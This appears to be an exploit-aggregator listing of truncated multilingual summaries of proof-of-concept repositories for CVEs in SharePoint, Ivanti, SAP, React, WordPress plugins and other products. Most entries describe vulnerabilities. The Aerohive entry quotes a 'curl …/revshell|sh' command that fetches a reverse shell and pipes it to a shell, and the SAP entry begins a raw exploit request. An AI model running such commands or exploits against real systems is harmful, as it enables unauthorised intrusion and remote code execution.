CVE-2025-57176

CVE-2025-57176 CVE-2025-57176 - Siklu EtherHaul Series - Неавторизованная произвольная загрузка файлов Затронутые версии: прошивка 7.4.0 - 10.7.3 вероятно, все версии начиная с 7.4.0...

Ashwesker-CVE-2025-52691

🚨 CVE-2025-52691 — Критическая уязвимость SmarterMail Статус: 🔥 Критический — требуется немедленное реагирование Оценка CVSS v3.1: 10.0 / 10 Дата раскрытия: 29–30 декабря 2025 г. 🧩 Краткое описание уязвимости CVE-2025-52691 — это критическая уязвимость неавторизованной произвольной загрузки файло...

CVE-2024-7627

CVE-2024-7627 익스플로잇 — Bit File Manager WordPress 비인증 RCE 익스플로잇 📌 설명 이 저장소는 Bit File Manager WordPress 플러그인버전 6.0 – 6.5.5에서 발견된 치명적인 비인증 원격 코드 실행RCE 취약점인 CVE-2024-7627 에 대한 개념 증명PoC 익스플로잇을 포함합니다. Guest User Read 기능이 활성화되면 플러그인은 checkSyntax 함수 내부에 레이스 컨디션을 노출합니다. 이 함수는 검증 전에 임시 PHP 파일을...

WordPress Groundhogg — CRM, Newsletters, and Marketing Automation plugin < 4.5.13 - Unauthenticated Stored XSS vulnerability

Unauthenticated Stored XSS vulnerability discovered by Artus KG in WordPress Plugin Groundhogg versions 4.5.13...

CVE-2025-8570

CVE-2025-8570 BeyondCart Connector = 2.1.0 - JWT Secret 구성 누락으로 인한 인증되지 않은 권한 상승 🚨 BeyondCart Connector = 2.1.0 - JWT 권한 상승 CVE-2025-8570 🛡️ 취약점 개요 WordPress용 BeyondCart Connector 플러그인은 버전 1.4.2부터 2.1.0까지 에서 determinecurrentuser 필터 내 잘못된 JWT 시크릿 관리와 결함이 있는 인증 메커니즘으로 인해 권한 상승Privilege Escalation...

CVE-2025-53770

CVE-2025-53770 SharePoint 역직렬화 RCE PoC 심각 — Microsoft SharePoint Server의 안전하지 않은 역직렬화를 통한 인증되지 않은 원격 코드 실행 CVE-2025-53770 설명 온-프레미스 Microsoft SharePoint Server에서 신뢰할 수 없는 데이터의 역직렬화로 인해 공격자가 원격으로 코드를 실행하고 시스템을 손상시킬 수 있습니다. Microsoft는 적극적인 악용을 인지하고 있으며 포괄적인 업데이트를 준비 중입니다. CVE 문서의 완화 조치가 적용되었는지...

CVE-2025-49071

CVE-2025-49071 Flozen 1.5.1 - 未认证的任意文件上传 描述： Flozen Theme 1.5.1 - 未认证的任意文件上传 描述 WordPress 的 Flozen 主题（版本 1.5.1 及以下）存在未认证的任意文件上传漏洞，原因是 flozenaddnewcustomfont 函数缺少身份验证检查且文件类型验证不足。这允许未认证的攻击者上传包含恶意 PHP 代码（例如 webshell）的任意 ZIP 文件，这些文件会自动解压到 wp-content/uploads/nasa-custom-fonts/ 目录，从而导致完全远程代码执行（RCE）。 信息...

CVE-2024-38077

CVE-2024-38077 以下是 CVE-2024-38077 可能的 GitHub 描述： CVE-2024-38077：Windows 远程桌面许可服务中的远程代码执行漏洞 概述： CVE-2024-38077 是 Windows 远程桌面许可服务中的一个严重漏洞，允许远程攻击者在易受攻击的系统上执行任意代码。该漏洞源于服务在处理特定输入时发生堆溢出。利用此漏洞可能导致系统完全沦陷，使攻击者无需身份验证即可控制目标。 受影响系统： Windows Server 2016 Windows Server 2019 Windows Server 2022 安装了远程桌面许可的...

CVE-2022-21907

CVE-2022-21907 描述 root@kitploit: CVE-2022-21907 的 PoC：HTTP 协议栈远程代码执行漏洞。 Malwareman 于 2022-09-17 创建。 详情 root@kitploit: HTTP 协议栈远程代码执行漏洞。 类似于 https://github.com/antx-code/CVE-2021-31166CVE-2021-31166。 该问题自去年在 https://github.com/antx-code/CVE-2021-31166CVE-2021-31166 中报告以来一直存在，至今仍未修复。 CVE 严重性...

watchTowr-vs-FortiSIEM-CVE-2025-25256

watchTowr-vs-FortiSIEM-CVE-2025-25256 Генератор артефактов обнаружения для FortiSIEM CVE-2025-25256 https://github.com/user-attachments/assets/1aa1040a-af34-460d-8844-1e440efa9ba1 Смотрите наш пост в блоге с техническими подробностями Обнаружение в действии root@kitploit: python...

CVE-2025-22457

CVE-2025-22457 CVE-2025-22457: Ivanti Connect Secure RCE 탐지를 위한 Python 익스플로잇 POC 스캐너 이 스크립트는 CVE-2025-22457 에 취약할 수 있는 Ivanti Connect Secure, Policy Secure 또는 ZTA 게이트웨이를 식별하는 데 도움을 줍니다. 이 취약점은 조작된 X-Forwarded-For 헤더를 통해 웹 프로세스에서 트리거되는 심각한 비인증 스택 기반 버퍼 오버플로우입니다. 또한 HTTP 응답에서 버전 정보를 스크래핑하여 원격 대상의 버...

oieh-router-checker

OIEH Router Checker 내 공유기가 중국산 백도어ENDLESSDOORS에 해당하는지 클릭 한 번으로 검사하는 Windows 프로그램 설치 필요 없음 · 관리자 권한 필요 없음 · 데이터 외부 전송 없음 이게 뭔가요? 2026년 8월, 보안업체 VulnCheck가 중국 Zbtlink선전즈보퉁전자 / Wiflyer 및 그 OEM택갈이 공유기 20개 모델 의 공식 펌웨어에서 원격제어 백도어를 발견했습니다. 이름: ENDLESSDOORS · 취약점 번호: CVE-2026-66747 심각도 9.3/10 동작: 전원이 켜지면...

CVE-2025-55182

CVE-2025-55182 - React2Shell PoC React Server Components의 치명적인CVSS 10.0 인증 없는 원격 코드 실행 취약점인 CVE-2025-55182에 대한 개념 증명PoC 익스플로잇입니다. 크레딧 발견자:Lachlan Davidson - 2025년 11월 29일 Meta/React 팀에 공개됨. 취약점 개요 이 취약점은 React Flight 프로토콜의 역직렬화 로직에 존재합니다. 공격자는 HTTP POST를 통해 악성 페이로드를 전송하여 프로토타입 오염prototype...

CVE-2025-31324

CVE-2025-31324 CVE-2025-31324, Эксплойт SAP root@kitploit: POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, zstd Accept: / Connection: keep-alive Content-Length: 636 Content-Type:...

CVE-2023-35803

CVE-2023-35803 - Неаутентифицированное RCE в беспроводных точках доступа Extreme Networks/Aerohive PoC для точек доступа на базе ARM под управлением HiveOS/IQ Engine "curl :8000/revshell|sh" Описание здесь: https://research.aurainfosec.io/pentest/bee-yond-capacity/...

CVE-2026-22557

🛡️ CVE-2026-22557 - Ubiquiti UniFi Network Application 中的严重路径遍历漏洞 📋 概述 Ubiquiti UniFi Network Application （UniFi Controller）中存在一个严重的未认证路径遍历漏洞 （CWE-22）。 具有网络访问权限 的攻击者可利用此漏洞： 遍历目录边界（../） 读取并操作底层操作系统上的任意文件 可能未经授权访问系统账户，并实现完全入侵 无需任何身份验证或用户交互。 CVSS v3.1 基础评分：10.0（严重） 攻击向量：...

CVE-2024-4879

CVE-2024-4879 Exploit & PoC - Nuclei 템플릿 CVE-2024-4879 - ServiceNow의 Jelly 템플릿 인젝션 취약점 ServiceNow는 Vancouver 및 Washington DC Now Platform 릴리스에서 식별된 입력 유효성 검사 취약점을 해결했습니다. 이 취약점으로 인해 인증되지 않은 사용자가 Now Platform 컨텍스트 내에서 원격으로 코드를 실행할 수 있습니다. ServiceNow는 호스팅된 인스턴스에 업데이트를 적용했으며, 파트너 및 자체 호스팅 고객에게 업데이트를...

CVE-2025-67070-Intelbras-CFTV-MFA-Bypass

Intelbras NVD 9032 R Ftd – Критическая уязвимость сброса пароля Обнаружено: Theo Cia CVE: CVE-2025-67070 Статус: Сообщено вендору Дата обнаружения: ноябрь 2025 Воздействие: Полный административный доступ через обход MFA Прошивка: V2.800.00IB00C.0.T Дата сборки: 2022-08-17 Краткое описание...

CVE-2023-4220

CVE-2023-4220에 대한 개념 증명 익스플로잇 영향받는 제품 : Chamilo = 1.11.24 이 CVE는 Chamilo 1.11.24 및 이하 버전에서 인증되지 않은 파일 업로드 취약점을 악용합니다. 공격자는 제한 없이 PHP 파일을 업로드할 수 있으며, 이로 인해 원격 코드 실행RCE이 가능합니다. 사용 방법 root@kitploit: python3 exploit.py -u URL -c COMMAND...

CVE-2020-12116

CVE-2020-12116 Код доказательства концепции для эксплуатации CVE-2020-12116: Неавторизованное чтение произвольных файлов в ManageEngine OpManger. Краткое описание Последний релиз OpManger содержит уязвимость обхода каталогов, которая позволяет неограниченный доступ к любому файлу в приложении...